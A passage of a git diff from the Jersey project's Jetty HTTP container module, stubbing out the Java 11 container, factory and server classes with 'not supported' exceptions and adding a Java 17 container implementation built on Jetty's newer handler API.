+                ? type.cast(new JettyHttpServer(applicationClass, JerseySeBootstrapConfiguration.from(configuration)))
+                : null;
+    }
+}
diff --git a/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainer.java b/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainer.java
index 1fcc1b1..3d519b6 100644
--- a/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainer.java
+++ b/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainer.java
@@ -16,455 +16,41 @@
 
 package org.glassfish.jersey.jetty;
 
-import java.io.IOException;
-import java.io.OutputStream;
-import java.lang.reflect.InvocationTargetException;
-import java.lang.reflect.Method;
-import java.lang.reflect.Type;
-import java.net.URI;
-import java.net.URISyntaxException;
-import java.security.Principal;
-import java.util.Enumeration;
-import java.util.List;
-import java.util.Map;
-import java.util.concurrent.TimeUnit;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-
-import jakarta.servlet.AsyncContext;
-import jakarta.servlet.AsyncEvent;
-import jakarta.servlet.AsyncListener;
+import jakarta.ws.rs.ProcessingException;
 import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.GenericType;
-import jakarta.ws.rs.core.Response.Status;
-import jakarta.ws.rs.core.SecurityContext;
-
-import jakarta.inject.Inject;
-import jakarta.inject.Provider;
-import jakarta.servlet.ServletException;
-import jakarta.servlet.http.HttpServletRequest;
-import jakarta.servlet.http.HttpServletResponse;
-
-import org.glassfish.jersey.internal.MapPropertiesDelegate;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
-import org.glassfish.jersey.internal.inject.ReferencingFactory;
-import org.glassfish.jersey.internal.util.ExtendedLogger;
-import org.glassfish.jersey.internal.util.collection.Ref;
+import org.eclipse.jetty.server.Handler;
 import org.glassfish.jersey.jetty.internal.LocalizationMessages;
-import org.glassfish.jersey.process.internal.RequestScoped;
 import org.glassfish.jersey.server.ApplicationHandler;
-import org.glassfish.jersey.server.ContainerException;
-import org.glassfish.jersey.server.ContainerRequest;
-import org.glassfish.jersey.server.ContainerResponse;
 import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.server.ServerProperties;
-import org.glassfish.jersey.server.internal.ContainerUtils;
 import org.glassfish.jersey.server.spi.Container;
-import org.glassfish.jersey.server.spi.ContainerResponseWriter;
-
-import org.eclipse.jetty.http.HttpStatus;
-import org.eclipse.jetty.server.Request;
-import org.eclipse.jetty.server.Response;
-import org.eclipse.jetty.server.handler.AbstractHandler;
 
 /**
- * Jersey {@code Container} implementation based on Jetty {@link org.eclipse.jetty.server.Handler}.
+ * Jersey {@code Container} implementation based on Jetty {@link Handler}.
  *
  * @author Arul Dhesiaseelan (aruld@acm.org)
  * @author Libor Kramolis
  * @author Marek Potociar
  */
-public final class JettyHttpContainer extends AbstractHandler implements Container {
-
-    private static final ExtendedLogger LOGGER =
-            new ExtendedLogger(Logger.getLogger(JettyHttpContainer.class.getName()), Level.FINEST);
-
-    private static final Type REQUEST_TYPE = (new GenericType<Ref<Request>>() {}).getType();
-    private static final Type RESPONSE_TYPE = (new GenericType<Ref<Response>>() {}).getType();
-
-    private static final int INTERNAL_SERVER_ERROR = jakarta.ws.rs.core.Response.Status.INTERNAL_SERVER_ERROR.getStatusCode();
-    private static final jakarta.ws.rs.core.Response.Status BAD_REQUEST_STATUS = jakarta.ws.rs.core.Response.Status.BAD_REQUEST;
-
-    /**
-     * Cached value of configuration property
-     * {@link org.glassfish.jersey.server.ServerProperties#RESPONSE_SET_STATUS_OVER_SEND_ERROR}.
-     * If {@code true} method {@link HttpServletResponse#setStatus} is used over {@link HttpServletResponse#sendError}.
-     */
-    private boolean configSetStatusOverSendError;
-
-    /**
-     * Referencing factory for Jetty request.
-     */
-    private static class JettyRequestReferencingFactory extends ReferencingFactory<Request> {
-        @Inject
-        public JettyRequestReferencingFactory(final Provider<Ref<Request>> referenceFactory) {
-            super(referenceFactory);
-        }
-    }
-
-    /**
-     * Referencing factory for Jetty response.
-     */
-    private static class JettyResponseReferencingFactory extends ReferencingFactory<Response> {
-        @Inject
-        public JettyResponseReferencingFactory(final Provider<Ref<Response>> referenceFactory) {
-            super(referenceFactory);
-        }
-    }
-
-    /**
-     * An internal binder to enable Jetty HTTP container specific types injection.
-     * This binder allows to inject underlying Jetty HTTP request and response instances.
-     * Note that since Jetty {@code Request} class is not proxiable as it does not expose an empty constructor,
-     * the injection of Jetty request instance into singleton JAX-RS and Jersey providers is only supported via
-     * {@link jakarta.inject.Provider injection provider}.
-     */
-    private static class JettyBinder extends AbstractBinder {
-
-        @Override
-        protected void configure() {
-            bindFactory(JettyRequestReferencingFactory.class).to(Request.class)
-                    .proxy(false).in(RequestScoped.class);
-            bindFactory(ReferencingFactory.<Request>referenceFactory()).to(new GenericType<Ref<Request>>() {})
-                    .in(RequestScoped.class);
-
-            bindFactory(JettyResponseReferencingFactory.class).to(Response.class)
-                    .proxy(false).in(RequestScoped.class);
-            bindFactory(ReferencingFactory.<Response>referenceFactory()).to(new GenericType<Ref<Response>>() {})
-                    .in(RequestScoped.class);
-        }
-    }
-
-    private volatile ApplicationHandler appHandler;
-
-    @Override
-    public void handle(final String target, final Request request, final HttpServletRequest httpServletRequest,
-                       final HttpServletResponse httpServletResponse) throws IOException, ServletException {
-
-        if (request.isHandled()) {
-            return;
-        }
-
-        final Response response = request.getResponse();
-        final ResponseWriter responseWriter = new ResponseWriter(request, response, configSetStatusOverSendError);
-        try {
-            LOGGER.debugLog("JettyHttpContainer.handle(...) started");
-            final URI baseUri = getBaseUri(request);
-            final URI requestUri = getRequestUri(request, baseUri);
-            final ContainerRequest requestContext = new ContainerRequest(
-                    baseUri,
-                    requestUri,
-                    request.getMethod(),
-                    getSecurityContext(request),
-                    new MapPropertiesDelegate(),
-                    appHandler.getConfiguration());
-            requestContext.setEntityStream(request.getInputStream());
-            final Enumeration<String> headerNames = request.getHeaderNames();
-            while (headerNames.hasMoreElements()) {
-                final String headerName = headerNames.nextElement();
-                String headerValue = request.getHeader(headerName);
-                requestContext.headers(headerName, headerValue == null ? "" : headerValue);
-            }
-            requestContext.setWriter(responseWriter);
-            requestContext.setRequestScopedInitializer(injectionManager -> {
-                injectionManager.<Ref<Request>>getInstance(REQUEST_TYPE).set(request);
-                injectionManager.<Ref<Response>>getInstance(RESPONSE_TYPE).set(response);
-            });
-
-            // Mark the request as handled before generating the body of the response
-            request.setHandled(true);
-            appHandler.handle(requestContext);
-        } catch (URISyntaxException e) {
-            setResponseForInvalidUri(response, e);
-        } catch (final Exception ex) {
-            throw new RuntimeException(ex);
-        }
-    }
-
-    private URI getRequestUri(final Request request, final URI baseUri) throws URISyntaxException {
-        final String serverAddress = getServerAddress(baseUri);
-        String uri = request.getRequestURI();
-
-        final String queryString = request.getQueryString();
-        if (queryString != null) {
-            uri = uri + "?" + ContainerUtils.encodeUnsafeCharacters(queryString);
-        }
-
-        return new URI(serverAddress + uri);
-    }
-
-    private void setResponseForInvalidUri(final HttpServletResponse response, final Throwable throwable) throws IOException {
-        LOGGER.log(Level.FINER, "Error while processing request.", throwable);
-
-        if (configSetStatusOverSendError) {
-            response.reset();
-            //noinspection deprecation
-            response.setStatus(BAD_REQUEST_STATUS.getStatusCode(), BAD_REQUEST_STATUS.getReasonPhrase());
-        } else {
-            response.sendError(BAD_REQUEST_STATUS.getStatusCode(), BAD_REQUEST_STATUS.getReasonPhrase());
-        }
-    }
-
-    private String getServerAddress(URI baseUri) {
-        String serverAddress = baseUri.toString();
-        if (serverAddress.charAt(serverAddress.length() - 1) == '/') {
-            return serverAddress.substring(0, serverAddress.length() - 1);
-        }
-        return serverAddress;
-    }
-
-    private SecurityContext getSecurityContext(final Request request) {
-        return new SecurityContext() {
-
-            @Override
-            public boolean isUserInRole(final String role) {
-                return request.isUserInRole(role);
-            }
-
-            @Override
-            public boolean isSecure() {
-                return request.isSecure();
-            }
-
-            @Override
-            public Principal getUserPrincipal() {
-                return request.getUserPrincipal();
-            }
-
-            @Override
-            public String getAuthenticationScheme() {
-                return request.getAuthType();
-            }
-        };
-    }
-
-
-    private URI getBaseUri(final Request request) throws URISyntaxException {
-        return new URI(request.getScheme(), null, request.getServerName(),
-                request.getServerPort(), getBasePath(request), null, null);
-    }
-
-    private String getBasePath(final Request request) {
-        final String contextPath = request.getContextPath();
-
-        if (contextPath == null || contextPath.isEmpty()) {
-            return "/";
-        } else if (contextPath.charAt(contextPath.length() - 1) != '/') {
-            return contextPath + "/";
-        } else {
-            return contextPath;
-        }
-    }
-
-    private static final class ResponseWriter implements ContainerResponseWriter {
-
-        private final Response response;
-        private final AsyncContext context;
-        private final boolean configSetStatusOverSendError;
-
-        ResponseWriter(final Request request, final Response response, final boolean configSetStatusOverSendError) {
-            this.response = response;
-            this.context = request.startAsync();
-            this.configSetStatusOverSendError = configSetStatusOverSendError;
-        }
-
-        @Override
-        public OutputStream writeResponseStatusAndHeaders(final long contentLength, final ContainerResponse context)
-                throws ContainerException {
-
-            final jakarta.ws.rs.core.Response.StatusType statusInfo = context.getStatusInfo();
-
-            final int code = statusInfo.getStatusCode();
-            final String reason = statusInfo.getReasonPhrase() == null
-                    ? HttpStatus.getMessage(code) : statusInfo.getReasonPhrase();
-
-            response.setStatusWithReason(code, reason);
-
-            if (contentLength != -1 && contentLength < Integer.MAX_VALUE) {
-                response.setContentLength((int) contentLength);
-            }
-            for (final Map.Entry<String, List<String>> e : context.getStringHeaders().entrySet()) {
-                for (final String value : e.getValue()) {
-                    response.addHeader(e.getKey(), value);
-                }
-            }
-
-            try {
-                return response.getOutputStream();
-            } catch (final IOException ioe) {
-                throw new ContainerException("Error during writing out the response headers.", ioe);
-            }
-        }
-
-        @Override
-        public boolean suspend(final long timeOut, final TimeUnit timeUnit, final TimeoutHandler timeoutHandler) {
-            try {
-                if (timeOut > 0) {
-                    final long timeoutMillis = TimeUnit.MILLISECONDS.convert(timeOut, timeUnit);
-                    context.setTimeout(timeoutMillis);
-                }
-                context.addListener(new AsyncListener() {
-                    @Override
-                    public void onComplete(AsyncEvent asyncEvent) throws IOException {
-
-                    }
-
-                    @Override
-                    public void onTimeout(AsyncEvent asyncEvent) throws IOException {
-                        if (timeoutHandler != null) {
-                            timeoutHandler.onTimeout(ResponseWriter.this);
-                        }
-                    }
-
-                    @Override
-                    public void onError(AsyncEvent asyncEvent) throws IOException {
-
-                    }
-
-                    @Override
-                    public void onStartAsync(AsyncEvent asyncEvent) throws IOException {
-
-                    }
-                });
-                return true;
-            } catch (final Exception ex) {
-                return false;
-            }
-        }
-
-        @Override
-        public void setSuspendTimeout(final long timeOut, final TimeUnit timeUnit) throws IllegalStateException {
-            if (timeOut > 0) {
-                final long timeoutMillis = TimeUnit.MILLISECONDS.convert(timeOut, timeUnit);
-                context.setTimeout(timeoutMillis);
-            }
-        }
-
-        @Override
-        public void commit() {
-            try {
-                closeOutput(response);
-            } catch (final IOException e) {
-                LOGGER.log(Level.WARNING, LocalizationMessages.UNABLE_TO_CLOSE_RESPONSE(), e);
-            } finally {
-                if (context.getRequest().isAsyncStarted()) {
-                    context.complete();
-                }
-                LOGGER.log(Level.FINEST, "commit() called");
-            }
-        }
-
-        private void closeOutput(Response response) throws IOException {
-            try {
-                response.completeOutput();
-            } catch (final IOException e) {
-                throw e;
-            } catch (NoSuchMethodError e) {
-                // try older Jetty Response#closeOutput
-                try {
-                    Method method = response.getClass().getMethod("closeOutput");
-                    method.invoke(response);
-                } catch (NoSuchMethodException | InvocationTargetException | IllegalAccessException ex) {
-                    throw new IOException(ex);
-                }
-            }
-        }
-
-        @Override
-        public void failure(final Throwable error) {
-            try {
-                if (!response.isCommitted()) {
-                    try {
-                        if (configSetStatusOverSendError) {
-                            response.reset();
-                            //noinspection deprecation
-                            response.setStatus(INTERNAL_SERVER_ERROR, "Request failed.");
-                        } else {
-                            response.sendError(INTERNAL_SERVER_ERROR, "Request failed.");
-                        }
-                    } catch (final IllegalStateException ex) {
-                        // a race condition externally committing the response can still occur...
-                        LOGGER.log(Level.FINER, "Unable to reset failed response.", ex);
-                    } catch (final IOException ex) {
-                        throw new ContainerException(LocalizationMessages.EXCEPTION_SENDING_ERROR_RESPONSE(INTERNAL_SERVER_ERROR,
-                                "Request failed."), ex);
-                    }
-                }
-            } finally {
-                LOGGER.log(Level.FINEST, "failure(...) called");
-                commit();
-                rethrow(error);
-            }
-        }
-
-        @Override
-        public boolean enableResponseBuffering() {
-            return false;
-        }
-
-        /**
-         * Rethrow the original exception as required by JAX-RS, 3.3.4.
-         *
-         * @param error throwable to be re-thrown
-         */
-        private void rethrow(final Throwable error) {
-            if (error instanceof RuntimeException) {
-                throw (RuntimeException) error;
-            } else {
-                throw new ContainerException(error);
-            }
-        }
-
-    }
+public final class JettyHttpContainer implements Container {
 
     @Override
     public ResourceConfig getConfiguration() {
-        return appHandler.getConfiguration();
+        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
     }
 
     @Override
     public void reload() {
-        reload(new ResourceConfig(getConfiguration()));
+        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
     }
 
     @Override
     public void reload(final ResourceConfig configuration) {
-        appHandler.onShutdown(this);
-
-        appHandler = new ApplicationHandler(configuration.register(new JettyBinder()));
-        appHandler.onReload(this);
-        appHandler.onStartup(this);
-        cacheConfigSetStatusOverSendError();
+        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
     }
 
     @Override
     public ApplicationHandler getApplicationHandler() {
-        return appHandler;
-    }
-
-    /**
-     * Inform this container that the server has been started.
-     * This method must be implicitly called after the server containing this container is started.
-     *
-     * @throws java.lang.Exception if a problem occurred during server startup.
-     */
-    @Override
-    protected void doStart() throws Exception {
-        super.doStart();
-        appHandler.onStartup(this);
-    }
-
-    /**
-     * Inform this container that the server is being stopped.
-     * This method must be implicitly called before the server containing this container is stopped.
-     *
-     * @throws java.lang.Exception if a problem occurred during server shutdown.
-     */
-    @Override
-    public void doStop() throws Exception {
-        super.doStop();
-        appHandler.onShutdown(this);
-        appHandler = null;
+        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
     }
 
     /**
@@ -474,7 +60,7 @@
      * @param parentContext DI provider specific context with application's registered bindings.
      */
     JettyHttpContainer(final Application application, final Object parentContext) {
-        this.appHandler = new ApplicationHandler(application, new JettyBinder(), parentContext);
+        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
     }
 
     /**
@@ -483,18 +69,16 @@
      * @param application JAX-RS / Jersey application to be deployed on Jetty HTTP container.
      */
     JettyHttpContainer(final Application application) {
-        this.appHandler = new ApplicationHandler(application, new JettyBinder());
-
-        cacheConfigSetStatusOverSendError();
+        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
     }
 
     /**
-     * The method reads and caches value of configuration property
-     * {@link ServerProperties#RESPONSE_SET_STATUS_OVER_SEND_ERROR} for future purposes.
+     * Create a new Jetty HTTP container.
+     *
+     * @param applicationClass JAX-RS / Jersey class of application to be deployed on Jetty HTTP container.
      */
-    private void cacheConfigSetStatusOverSendError() {
-        this.configSetStatusOverSendError = ServerProperties.getValue(getConfiguration().getProperties(),
-                ServerProperties.RESPONSE_SET_STATUS_OVER_SEND_ERROR, false, Boolean.class);
+    JettyHttpContainer(final Class<? extends Application> applicationClass) {
+        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
     }
 
 }
diff --git a/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java b/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
index cb66f21..61e1977 100644
--- a/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
+++ b/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,35 +16,20 @@
 
 package org.glassfish.jersey.jetty;
 
-import java.net.URI;
-import java.util.concurrent.ThreadFactory;
-
 import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.core.Configuration;
-
-import org.glassfish.jersey.innate.VirtualThreadUtil;
-import org.glassfish.jersey.innate.virtual.LoomishExecutors;
-import org.glassfish.jersey.internal.guava.ThreadFactoryBuilder;
+import org.eclipse.jetty.server.Server;
+import org.eclipse.jetty.util.ssl.SslContextFactory;
 import org.glassfish.jersey.jetty.internal.LocalizationMessages;
-import org.glassfish.jersey.process.JerseyProcessingUncaughtExceptionHandler;
 import org.glassfish.jersey.server.ContainerFactory;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.server.spi.Container;
 
-import org.eclipse.jetty.server.Connector;
-import org.eclipse.jetty.server.HttpConfiguration;
-import org.eclipse.jetty.server.HttpConnectionFactory;
-import org.eclipse.jetty.server.SecureRequestCustomizer;
-import org.eclipse.jetty.server.Server;
-import org.eclipse.jetty.server.ServerConnector;
-import org.eclipse.jetty.server.SslConnectionFactory;
-import org.eclipse.jetty.util.ssl.SslContextFactory;
-import org.eclipse.jetty.util.thread.QueuedThreadPool;
+import java.net.URI;
 
 /**
  * Factory for creating and starting Jetty server handlers. This returns
  * a handle to the started server as {@link Server} instances, which allows
- * the server to be stopped by invoking the {@link org.eclipse.jetty.server.Server#stop()} method.
+ * the server to be stopped by invoking the {@link Server#stop()} method.
  * <p/>
  * To start the server in HTTPS mode an {@link SslContextFactory} can be provided.
  * This will be used to decrypt and encrypt information sent over the
@@ -94,7 +79,7 @@
      * resource configuration.
      * <p/>
      * This implementation defers to the
-     * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
+     * {@link ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
      * for creating an Container that manages the root resources.
      *
      * @param uri    the URI to create the http server. The URI scheme must be
@@ -120,7 +105,7 @@
      * resource configuration.
      * <p/>
      * This implementation defers to the
-     * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
+     * {@link ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
      * for creating an Container that manages the root resources.
      *
      * @param uri           URI on which the Jersey web application will be deployed. Only first path segment will be
@@ -199,7 +184,7 @@
      * @param uri               the URI to create the http server. The URI scheme must be
      *                          equal to {@code https}. The URI user information and host
      *                          are ignored. If the URI port is not present then port
-     *                          {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be
+     *                          {@value Container#DEFAULT_HTTPS_PORT} will be
      *                          used. The URI path, query and fragment components are ignored.
      * @param sslContextFactory this is the SSL context factory used to configure SSL connector
      * @param config            the resource configuration.
@@ -223,7 +208,7 @@
      * @param uri               the URI to create the http server. The URI scheme must be
      *                          equal to {@code https}. The URI user information and host
      *                          are ignored. If the URI port is not present then port
-     *                          {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be
+     *                          {@value Container#DEFAULT_HTTPS_PORT} will be
      *                          used. The URI path, query and fragment components are ignored.
      * @param sslContextFactory this is the SSL context factory used to configure SSL connector
      * @param handler           the container that handles all HTTP requests
@@ -239,81 +224,6 @@
                                       final SslContextFactory.Server sslContextFactory,
                                       final JettyHttpContainer handler,
                                       final boolean start) {
-        if (uri == null) {
-            throw new IllegalArgumentException(LocalizationMessages.URI_CANNOT_BE_NULL());
-        }
-        final String scheme = uri.getScheme();
-        int defaultPort = Container.DEFAULT_HTTP_PORT;
-
-        if (sslContextFactory == null) {
-            if (!"http".equalsIgnoreCase(scheme)) {
-                throw new IllegalArgumentException(LocalizationMessages.WRONG_SCHEME_WHEN_USING_HTTP());
-            }
-        } else {
-            if (!"https".equalsIgnoreCase(scheme)) {
-                throw new IllegalArgumentException(LocalizationMessages.WRONG_SCHEME_WHEN_USING_HTTPS());
-            }
-            defaultPort = Container.DEFAULT_HTTPS_PORT;
-        }
-        final int port = (uri.getPort() == -1) ? defaultPort : uri.getPort();
-
-        final Configuration configuration = handler != null ? handler.getConfiguration() : null;
-        final Server server = new Server(new JettyConnectorThreadPool(configuration));
-        final HttpConfiguration config = new HttpConfiguration();
-        if (sslContextFactory != null) {
-            config.setSecureScheme("https");
-            config.setSecurePort(port);
-            config.addCustomizer(new SecureRequestCustomizer());
-
-            final ServerConnector https = new ServerConnector(server,
-                    new SslConnectionFactory(sslContextFactory, "http/1.1"),
-                    new HttpConnectionFactory(config));
-            https.setPort(port);
-            server.setConnectors(new Connector[]{https});
-
-        } else {
-            final ServerConnector http = new ServerConnector(server, new HttpConnectionFactory(config));
-            http.setPort(port);
-            server.setConnectors(new Connector[]{http});
-        }
-        if (handler != null) {
-            server.setHandler(handler);
-        }
-
-        if (start) {
-            try {
-                // Start the server.
-                server.start();
-            } catch (final Exception e) {
-                throw new ProcessingException(LocalizationMessages.ERROR_WHEN_CREATING_SERVER(), e);
-            }
-        }
-        return server;
-    }
-
-    // TODO: Use https://www.eclipse.org/jetty/javadoc/current/org/eclipse/jetty/util/thread/QueuedThreadPool.html
-    //  #%3Cinit%3E(int,int,int,int,java.util.concurrent.BlockingQueue,java.lang.ThreadGroup,java.util.concurrent.ThreadFactory)
-    //
-    //  Keeping this for backwards compatibility for the time being
-    private static final class JettyConnectorThreadPool extends QueuedThreadPool {
-        private final ThreadFactory threadFactory;
-
-        private JettyConnectorThreadPool(Configuration configuration) {
-            final LoomishExecutors executors = VirtualThreadUtil.withConfig(configuration, false);
-            if (executors.isVirtual()) {
-                super.setMaxThreads(Integer.MAX_VALUE - 1);
-            }
-
-            this.threadFactory = new ThreadFactoryBuilder()
-                    .setNameFormat("jetty-http-server-%d")
-                    .setUncaughtExceptionHandler(new JerseyProcessingUncaughtExceptionHandler())
-                    .setThreadFactory(executors.getThreadFactory())
-                    .build();
-        }
-
-        @Override
-        public Thread newThread(Runnable runnable) {
-            return threadFactory.newThread(runnable);
-        }
+        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
     }
 }
diff --git a/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpServer.java b/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpServer.java
new file mode 100644
index 0000000..70fcc56
--- /dev/null
+++ b/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpServer.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.core.Application;
+import org.glassfish.jersey.jetty.internal.LocalizationMessages;
+import org.glassfish.jersey.server.ContainerFactory;
+import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
+import org.glassfish.jersey.server.spi.WebServer;
+
+import java.util.concurrent.CompletableFuture;
+
+/**
+ * Jersey {@code Server} implementation based on Jetty
+ * {@link org.eclipse.jetty.server.Server Server}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+final class JettyHttpServer implements WebServer {
+
+    private final JettyHttpContainer container;
+
+    private final org.eclipse.jetty.server.Server httpServer;
+
+    JettyHttpServer(final Application application, final JerseySeBootstrapConfiguration configuration) {
+        this(ContainerFactory.createContainer(JettyHttpContainer.class, application), configuration);
+    }
+
+    JettyHttpServer(final Class<? extends Application> applicationClass,
+                    final JerseySeBootstrapConfiguration configuration) {
+        this(new JettyHttpContainer(applicationClass), configuration);
+    }
+
+    JettyHttpServer(final JettyHttpContainer container, final JerseySeBootstrapConfiguration configuration) {
+        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+    }
+
+    @Override
+    public final JettyHttpContainer container() {
+        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+    }
+
+    @Override
+    public final int port() {
+        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+    }
+
+    @Override
+    public final CompletableFuture<Void> start() {
+        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+    }
+
+    @Override
+    public final CompletableFuture<Void> stop() {
+        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+    }
+
+    @Override
+    public final <T> T unwrap(final Class<T> nativeClass) {
+        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+    }
+
+}
diff --git a/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpContainer.java b/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpContainer.java
new file mode 100644
index 0000000..c555e92
--- /dev/null
+++ b/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpContainer.java
@@ -0,0 +1,489 @@
+/*
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import java.io.OutputStream;
+import java.lang.reflect.Type;
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.security.Principal;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.ConcurrentLinkedQueue;
+import java.util.concurrent.ScheduledExecutorService;
+import java.util.concurrent.ScheduledFuture;
+import java.util.concurrent.ScheduledThreadPoolExecutor;
+import java.util.concurrent.ThreadFactory;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicInteger;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.GenericType;
+import jakarta.ws.rs.core.SecurityContext;
+
+import jakarta.inject.Inject;
+import jakarta.inject.Provider;
+
+import org.eclipse.jetty.http.HttpField;
+import org.eclipse.jetty.http.HttpHeader;
+import org.eclipse.jetty.io.Content;
+import org.eclipse.jetty.security.AuthenticationState;
+import org.eclipse.jetty.server.Handler;
+import org.eclipse.jetty.util.Callback;
+import org.eclipse.jetty.util.thread.Scheduler;
+import org.glassfish.jersey.internal.MapPropertiesDelegate;
+import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.internal.inject.ReferencingFactory;
+import org.glassfish.jersey.internal.util.ExtendedLogger;
+import org.glassfish.jersey.internal.util.collection.Ref;
+import org.glassfish.jersey.jetty.internal.LocalizationMessages;
+import org.glassfish.jersey.process.internal.RequestScoped;
+import org.glassfish.jersey.server.ApplicationHandler;
+import org.glassfish.jersey.server.ContainerException;
+import org.glassfish.jersey.server.ContainerRequest;
+import org.glassfish.jersey.server.ContainerResponse;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.ServerProperties;
+import org.glassfish.jersey.server.internal.ContainerUtils;
+import org.glassfish.jersey.server.spi.Container;
+import org.glassfish.jersey.server.spi.ContainerResponseWriter;
+
+import org.eclipse.jetty.server.Request;
+import org.eclipse.jetty.server.Response;
+
+/**
+ * Jersey {@code Container} implementation based on Jetty {@link org.eclipse.jetty.server.Handler}.
+ *
+ * @author Arul Dhesiaseelan (aruld@acm.org)
+ * @author Libor Kramolis
+ * @author Marek Potociar
+ */
+public final class JettyHttpContainer extends Handler.Abstract implements Container {
+
+    private static final ExtendedLogger LOGGER =
+            new ExtendedLogger(Logger.getLogger(JettyHttpContainer.class.getName()), Level.FINEST);
+
+    private static final Type REQUEST_TYPE = (new GenericType<Ref<Request>>() {}).getType();
+    private static final Type RESPONSE_TYPE = (new GenericType<Ref<Response>>() {}).getType();
+
+    private static final int INTERNAL_SERVER_ERROR = jakarta.ws.rs.core.Response.Status.INTERNAL_SERVER_ERROR.getStatusCode();
+    private static final jakarta.ws.rs.core.Response.Status BAD_REQUEST_STATUS = jakarta.ws.rs.core.Response.Status.BAD_REQUEST;
+
+    /**
+     * Cached value of configuration property
+     * {@link org.glassfish.jersey.server.ServerProperties#RESPONSE_SET_STATUS_OVER_SEND_ERROR}.
+     * If {@code true} method {@link Response#setStatus(int)} is used over {@link Response#writeError(Request, Response, Callback, int)}
+     */
+    private boolean configSetStatusOverSendError;
+
+    /**
+     * Referencing factory for Jetty request.
+     */
+    private static class JettyRequestReferencingFactory extends ReferencingFactory<Request> {
+        @Inject
+        public JettyRequestReferencingFactory(final Provider<Ref<Request>> referenceFactory) {
+            super(referenceFactory);
+        }
+    }
+
+    /**
+     * Referencing factory for Jetty response.
+     */
+    private static class JettyResponseReferencingFactory extends ReferencingFactory<Response> {
+        @Inject
+        public JettyResponseReferencingFactory(final Provider<Ref<Response>> referenceFactory) {
+            super(referenceFactory);
+        }
+    }
+
+    /**
